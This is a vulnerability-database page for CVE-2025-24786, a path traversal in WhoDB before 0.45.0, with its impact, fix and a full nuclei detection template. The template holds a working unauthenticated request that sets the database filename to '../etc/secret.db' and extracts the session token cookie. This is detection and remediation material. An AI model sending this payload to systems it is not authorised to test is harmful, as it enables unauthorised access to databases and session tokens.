Browse / CVEs / CVE-2025-24786
CVE-2025-24786· clidey / whodb· CWE-22
WhoDB < 0.45.0 - Path Traversal
highseverity
7.5CVSS score
2.7%likelihood of exploitation, next 30 days
86%of all CVEs are less likely
Readycheck to confirm it
WhoDB contains a path traversal caused by lack of validation when opening database files, letting unauthenticated attackers access arbitrary Sqlite3 databases on the host system, exploit requires attacker to manipulate database filename input.
Impact
Attackers can access any Sqlite3 database on the system, potentially exposing sensitive data.
Fix
Upgrade to version 0.45.0 or later.
How to confirm it
Send: POST /api/query
Positive when: contains "\"Status\":true" and "\"StatusResponse\"" AND status 200Run it with nuclei: nuclei -id CVE-2025-24786 -u <target>
The full check
id: CVE-2025-24786
info:
name: WhoDB < 0.45.0 - Path Traversal
author: basicbeny
severity: high
description: |
WhoDB contains a path traversal caused by lack of validation when opening database files, letting unauthenticated attackers access arbitrary Sqlite3 databases on the host system, exploit requires attacker to manipulate database filename input.
impact: |
Attackers can access any Sqlite3 database on the system, potentially exposing sensitive data.
remediation: |
Upgrade to version 0.45.0 or later.
reference:
- https://github.com/clidey/whodb
- https://github.com/clidey/whodb/security/advisories/GHSA-9r4c-jwx3-3j76
- https://nvd.nist.gov/vuln/detail/CVE-2025-24786
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2025-24786
epss-score: 0.02728
epss-percentile: 0.86197
cwe-id: CWE-22
metadata:
verified: true
max-request: 1
vendor: clidey
product: whodb
fofa-query: body="whodb"
tags: cve,cve2025,whodb,lfi,pathtraversal,unauth
http:
- raw:
- |
POST /api/query HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"operationName":"Login","variables":{"credentials":{"Type":"Sqlite3","Hostname":"","Database":"../etc/secret.db","Username":"","Password":"","Advanced":[]}},"query":"mutation Login($credentials: LoginCredentials!) {\n Login(credentials: $credentials) {\n Status\n __typename\n }\n}"}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"Status":true'
- '"StatusResponse"'
condition: and
- type: status
status:
- 200
extractors:
- type: regex
part: header
name: token
group: 1
regex:
- 'Token=([^;]+)'References
- https://github.com/clidey/whodb
- https://github.com/clidey/whodb/security/advisories/GHSA-9r4c-jwx3-3j76
- https://nvd.nist.gov/vuln/detail/CVE-2025-24786
Use this check only on systems you are authorised to test. Where the data comes from